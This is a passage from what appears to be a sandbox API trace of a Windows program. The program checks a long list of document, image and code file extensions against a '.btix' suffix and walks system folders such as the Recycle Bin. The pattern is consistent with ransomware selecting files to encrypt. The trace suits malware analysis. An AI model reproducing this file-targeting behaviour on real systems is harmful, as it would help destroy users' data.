lstrlenW (lpString=".gif") returned 4 [0126.374] lstrcmpiW (lpString1=".gif", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".grs") returned 4 [0126.374] lstrcmpiW (lpString1=".grs", lpString2="btix") returned -1 [0126.374] lstrlenW (lpString=".gz") returned 3 [0126.374] lstrcmpiW (lpString1=".gz", lpString2="tix") returned -1 [0126.374] lstrlenW (lpString=".h") returned 2 [0126.374] lstrcmpiW (lpString1=".h", lpString2="ix") returned -1 [0126.375] lstrlenW (lpString=".hdr") returned 4 [0126.375] lstrcmpiW (lpString1=".hdr", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".hpp") returned 4 [0126.375] lstrcmpiW (lpString1=".hpp", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".hta") returned 4 [0126.375] lstrcmpiW (lpString1=".hta", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".htc") returned 4 [0126.375] lstrcmpiW (lpString1=".htc", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".htm") returned 4 [0126.375] lstrcmpiW (lpString1=".htm", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".html") returned 5 [0126.375] lstrcmpiW (lpString1=".html", lpString2=".btix") returned 1 [0126.375] lstrlenW (lpString=".icb") returned 4 [0126.375] lstrcmpiW (lpString1=".icb", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".ics") returned 4 [0126.375] lstrcmpiW (lpString1=".ics", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".iff") returned 4 [0126.375] lstrcmpiW (lpString1=".iff", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".inc") returned 4 [0126.375] lstrcmpiW (lpString1=".inc", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".indd") returned 5 [0126.375] lstrcmpiW (lpString1=".indd", lpString2=".btix") returned 1 [0126.375] lstrlenW (lpString=".ini") returned 4 [0126.375] lstrcmpiW (lpString1=".ini", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".iqy") returned 4 [0126.375] lstrcmpiW (lpString1=".iqy", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".j2c") returned 4 [0126.375] lstrcmpiW (lpString1=".j2c", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".j2k") returned 4 [0126.375] lstrcmpiW (lpString1=".j2k", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".java") returned 5 [0126.375] lstrcmpiW (lpString1=".java", lpString2=".btix") returned 1 [0126.375] lstrlenW (lpString=".jp2") returned 4 [0126.375] lstrcmpiW (lpString1=".jp2", lpString2="btix") returned -1 [0126.375] lstrlenW (lpString=".jpc") returned 4 [0126.375] lstrcmpiW (lpString1=".jpc", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".jpe") returned 4 [0126.376] lstrcmpiW (lpString1=".jpe", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".jpeg") returned 5 [0126.376] lstrcmpiW (lpString1=".jpeg", lpString2=".btix") returned 1 [0126.376] lstrlenW (lpString=".jpf") returned 4 [0126.376] lstrcmpiW (lpString1=".jpf", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".jpg") returned 4 [0126.376] lstrcmpiW (lpString1=".jpg", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".jpx") returned 4 [0126.376] lstrcmpiW (lpString1=".jpx", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".js") returned 3 [0126.376] lstrcmpiW (lpString1=".js", lpString2="tix") returned -1 [0126.376] lstrlenW (lpString=".jsf") returned 4 [0126.376] lstrcmpiW (lpString1=".jsf", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".json") returned 5 [0126.376] lstrcmpiW (lpString1=".json", lpString2=".btix") returned 1 [0126.376] lstrlenW (lpString=".jsp") returned 4 [0126.376] lstrcmpiW (lpString1=".jsp", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".kdc") returned 4 [0126.376] lstrcmpiW (lpString1=".kdc", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".kmz") returned 4 [0126.376] lstrcmpiW (lpString1=".kmz", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".kwm") returned 4 [0126.376] lstrcmpiW (lpString1=".kwm", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".lasso") returned 6 [0126.376] lstrcmpiW (lpString1=".lasso", lpString2="].btix") returned -1 [0126.376] lstrlenW (lpString=".lbi") returned 4 [0126.376] lstrcmpiW (lpString1=".lbi", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".lgf") returned 4 [0126.376] lstrcmpiW (lpString1=".lgf", lpString2="btix") returned -1 [0126.376] lstrlenW (lpString=".lgp") returned 4 [0126.377] lstrcmpiW (lpString1=".lgp", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".log") returned 4 [0126.377] lstrcmpiW (lpString1=".log", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".m1v") returned 4 [0126.377] lstrcmpiW (lpString1=".m1v", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".m4a") returned 4 [0126.377] lstrcmpiW (lpString1=".m4a", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".m4v") returned 4 [0126.377] lstrcmpiW (lpString1=".m4v", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".max") returned 4 [0126.377] lstrcmpiW (lpString1=".max", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".md") returned 3 [0126.377] lstrcmpiW (lpString1=".md", lpString2="tix") returned -1 [0126.377] lstrlenW (lpString=".mda") returned 4 [0126.377] lstrcmpiW (lpString1=".mda", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".mdb") returned 4 [0126.377] lstrcmpiW (lpString1=".mdb", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".mde") returned 4 [0126.377] lstrcmpiW (lpString1=".mde", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".mdf") returned 4 [0126.377] lstrcmpiW (lpString1=".mdf", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".mdw") returned 4 [0126.377] lstrcmpiW (lpString1=".mdw", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".mef") returned 4 [0126.377] lstrcmpiW (lpString1=".mef", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".mft") returned 4 [0126.377] lstrcmpiW (lpString1=".mft", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".mfw") returned 4 [0126.377] lstrcmpiW (lpString1=".mfw", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".mht") returned 4 [0126.377] lstrcmpiW (lpString1=".mht", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".mhtml") returned 6 [0126.377] lstrcmpiW (lpString1=".mhtml", lpString2="].btix") returned -1 [0126.377] lstrlenW (lpString=".mka") returned 4 [0126.377] lstrcmpiW (lpString1=".mka", lpString2="btix") returned -1 [0126.377] lstrlenW (lpString=".mkidx") returned 6 [0126.377] lstrcmpiW (lpString1=".mkidx", lpString2="].btix") returned -1 [0126.377] lstrlenW (lpString=".mkv") returned 4 [0126.378] lstrcmpiW (lpString1=".mkv", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".mos") returned 4 [0126.378] lstrcmpiW (lpString1=".mos", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".mov") returned 4 [0126.378] lstrcmpiW (lpString1=".mov", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".mp3") returned 4 [0126.378] lstrcmpiW (lpString1=".mp3", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".mp4") returned 4 [0126.378] lstrcmpiW (lpString1=".mp4", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".mpeg") returned 5 [0126.378] lstrcmpiW (lpString1=".mpeg", lpString2=".btix") returned 1 [0126.378] lstrlenW (lpString=".mpg") returned 4 [0126.378] lstrcmpiW (lpString1=".mpg", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".mpv") returned 4 [0126.378] lstrcmpiW (lpString1=".mpv", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".mrw") returned 4 [0126.378] lstrcmpiW (lpString1=".mrw", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".msg") returned 4 [0126.378] lstrcmpiW (lpString1=".msg", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".mxl") returned 4 [0126.378] lstrcmpiW (lpString1=".mxl", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".myd") returned 4 [0126.378] lstrcmpiW (lpString1=".myd", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".myi") returned 4 [0126.378] lstrcmpiW (lpString1=".myi", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".nef") returned 4 [0126.378] lstrcmpiW (lpString1=".nef", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".nrw") returned 4 [0126.378] lstrcmpiW (lpString1=".nrw", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".obj") returned 4 [0126.378] lstrcmpiW (lpString1=".obj", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".odb") returned 4 [0126.378] lstrcmpiW (lpString1=".odb", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".odc") returned 4 [0126.378] lstrcmpiW (lpString1=".odc", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".odm") returned 4 [0126.378] lstrcmpiW (lpString1=".odm", lpString2="btix") returned -1 [0126.378] lstrlenW (lpString=".odp") returned 4 [0126.378] lstrcmpiW (lpString1=".odp", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".ods") returned 4 [0126.379] lstrcmpiW (lpString1=".ods", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".oft") returned 4 [0126.379] lstrcmpiW (lpString1=".oft", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".one") returned 4 [0126.379] lstrcmpiW (lpString1=".one", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".onepkg") returned 7 [0126.379] lstrcmpiW (lpString1=".onepkg", lpString2="i].btix") returned -1 [0126.379] lstrlenW (lpString=".onetoc2") returned 8 [0126.379] lstrcmpiW (lpString1=".onetoc2", lpString2="li].btix") returned -1 [0126.379] lstrlenW (lpString=".opt") returned 4 [0126.379] lstrcmpiW (lpString1=".opt", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".oqy") returned 4 [0126.379] lstrcmpiW (lpString1=".oqy", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".orf") returned 4 [0126.379] lstrcmpiW (lpString1=".orf", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".p12") returned 4 [0126.379] lstrcmpiW (lpString1=".p12", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".p7b") returned 4 [0126.379] lstrcmpiW (lpString1=".p7b", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".p7c") returned 4 [0126.379] lstrcmpiW (lpString1=".p7c", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".pam") returned 4 [0126.379] lstrcmpiW (lpString1=".pam", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".pbm") returned 4 [0126.379] lstrcmpiW (lpString1=".pbm", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".pct") returned 4 [0126.379] lstrcmpiW (lpString1=".pct", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".pcx") returned 4 [0126.379] lstrcmpiW (lpString1=".pcx", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".pdd") returned 4 [0126.379] lstrcmpiW (lpString1=".pdd", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".pdf") returned 4 [0126.379] lstrcmpiW (lpString1=".pdf", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".pdp") returned 4 [0126.379] lstrcmpiW (lpString1=".pdp", lpString2="btix") returned -1 [0126.379] lstrlenW (lpString=".pef") returned 4 [0126.379] lstrcmpiW (lpString1=".pef", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".pem") returned 4 [0126.380] lstrcmpiW (lpString1=".pem", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".pff") returned 4 [0126.380] lstrcmpiW (lpString1=".pff", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".pfm") returned 4 [0126.380] lstrcmpiW (lpString1=".pfm", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".pfx") returned 4 [0126.380] lstrcmpiW (lpString1=".pfx", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".pgm") returned 4 [0126.380] lstrcmpiW (lpString1=".pgm", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".php") returned 4 [0126.380] lstrcmpiW (lpString1=".php", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".php3") returned 5 [0126.380] lstrcmpiW (lpString1=".php3", lpString2=".btix") returned 1 [0126.380] lstrlenW (lpString=".php4") returned 5 [0126.380] lstrcmpiW (lpString1=".php4", lpString2=".btix") returned 1 [0126.380] lstrlenW (lpString=".php5") returned 5 [0126.380] lstrcmpiW (lpString1=".php5", lpString2=".btix") returned 1 [0126.380] lstrlenW (lpString=".phtml") returned 6 [0126.380] lstrcmpiW (lpString1=".phtml", lpString2="].btix") returned -1 [0126.380] lstrlenW (lpString=".pict") returned 5 [0126.380] lstrcmpiW (lpString1=".pict", lpString2=".btix") returned 1 [0126.380] lstrlenW (lpString=".pl") returned 3 [0126.380] lstrcmpiW (lpString1=".pl", lpString2="tix") returned -1 [0126.380] lstrlenW (lpString=".pls") returned 4 [0126.380] lstrcmpiW (lpString1=".pls", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".pm") returned 3 [0126.380] lstrcmpiW (lpString1=".pm", lpString2="tix") returned -1 [0126.380] lstrlenW (lpString=".png") returned 4 [0126.380] lstrcmpiW (lpString1=".png", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".pnm") returned 4 [0126.380] lstrcmpiW (lpString1=".pnm", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".pot") returned 4 [0126.380] lstrcmpiW (lpString1=".pot", lpString2="btix") returned -1 [0126.380] lstrlenW (lpString=".potm") returned 5 [0126.380] lstrcmpiW (lpString1=".potm", lpString2=".btix") returned 1 [0126.380] lstrlenW (lpString=".potx") returned 5 [0126.380] lstrcmpiW (lpString1=".potx", lpString2=".btix") returned 1 [0126.381] lstrlenW (lpString=".ppa") returned 4 [0126.381] lstrcmpiW (lpString1=".ppa", lpString2="btix") returned -1 [0126.381] lstrlenW (lpString=".ppam") returned 5 [0126.381] lstrcmpiW (lpString1=".ppam", lpString2=".btix") returned 1 [0126.381] lstrlenW (lpString=".ppm") returned 4 [0126.381] lstrcmpiW (lpString1=".ppm", lpString2="btix") returned -1 [0126.381] lstrlenW (lpString=".pps") returned 4 [0126.381] lstrcmpiW (lpString1=".pps", lpString2="btix") returned -1 [0126.381] lstrlenW (lpString=".ppsm") returned 5 [0126.381] lstrcmpiW (lpString1=".ppsm", lpString2=".btix") returned 1 [0126.381] lstrlenW (lpString=".ppt") returned 4 [0126.381] lstrcmpiW (lpString1=".ppt", lpString2="btix") returned -1 [0126.381] lstrlenW (lpString=".pptm") returned 5 [0126.381] lstrcmpiW (lpString1=".pptm", lpString2=".btix") returned 1 [0126.381] lstrlenW (lpString=".pptx") returned 5 [0126.381] lstrcmpiW (lpString1=".pptx", lpString2=".btix") returned 1 [0126.381] lstrlenW (lpString=".prn") returned 4 [0126.381] lstrcmpiW (lpString1=".prn", lpString2="btix") returned -1 [0126.381] lstrlenW (lpString=".ps") returned 3 [0126.381] lstrcmpiW (lpString1=".ps", lpString2="tix") returned -1 [0126.381] lstrlenW (lpString=".psb") returned 4 [0126.381] lstrcmpiW (lpString1=".psb", lpString2="btix") returned -1 [0126.381] lstrlenW (lpString=".psd") returned 4 [0126.381] lstrcmpiW (lpString1=".psd", lpString2="btix") returned -1 [0126.381] lstrlenW (lpString=".pst") returned 4 [0126.381] lstrcmpiW (lpString1=".pst", lpString2="btix") returned -1 [0126.381] lstrlenW (lpString=".ptx") returned 4 [0126.381] lstrcmpiW (lpString1=".ptx", lpString2="btix") returned -1 [0126.381] lstrlenW (lpString=".pub") returned 4 [0126.381] lstrcmpiW (lpString1=".pub", lpString2="btix") returned -1 [0126.381] lstrlenW (lpString=".pwm") returned 4 [0126.381] lstrcmpiW (lpString1=".pwm", lpString2="btix") returned -1 [0126.382] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.382] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.382] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.382] FindClose (in: hFindFile=0x52a380 | out: hFindFile=0x52a380) returned 1 [0126.382] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.382] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.382] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.382] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a600 [0126.384] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.384] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.384] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.385] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.385] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.385] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.385] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.385] FindClose (in: hFindFile=0x52a600 | out: hFindFile=0x52a600) returned 1 [0126.385] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.385] FindNextFileW (in: hFindFile=0x52a780, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 0 [0126.386] FindClose (in: hFindFile=0x52a780 | out: hFindFile=0x52a780) returned 1 [0126.386] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0126.386] FindNextFileW (in: hFindFile=0x52a580, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0126.387] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0126.387] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 0x52a380 [0126.388] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.388] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.388] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.388] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0xffffffff [0126.388] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.388] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.388] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.389] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a600 [0126.389] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.389] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.389] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.389] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.389] FindClose (in: hFindFile=0x52a600 | out: hFindFile=0x52a600) returned 1 [0126.389] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.389] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 0 [0126.389] FindClose (in: hFindFile=0x52a380 | out: hFindFile=0x52a380) returned 1 [0126.389] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0126.390] FindNextFileW (in: hFindFile=0x52a580, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0126.390] FindNextFileW (in: hFindFile=0x52a580, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0126.390] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0126.390] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 0x52a600 [0126.393] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.394] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.394] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.394] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a380 [0126.396] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.396] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.396] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.396] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.396] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.396] FindClose (in: hFindFile=0x52a380 | out: hFindFile=0x52a380) returned 1 [0126.397] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.397] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.397] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.397] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.673] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.673] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.673] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.673] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.673] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.673] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.674] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.674] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.674] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.674] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.675] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.675] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.675] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.675] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.675] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.675] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.676] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.676] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.676] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.676] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.677] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.677] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.677] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.677] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.677] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.677] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.678] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.678] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.678] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.678] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.678] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.678] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.679] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.679] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.679] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0126.679] FindClose (in: hFindFile=0x52a6c0 | out: hFindFile=0x52a6c0) returned 1 [0126.679] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0126.679] FindNextFileW (in: hFindFile=0x52a600, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0126.679] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0126.680] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x52a6c0 [0126.680] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.680] FindNextFileW (in: hFindFile=0x52a6c0, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0126.680] FindNextFileW (in: 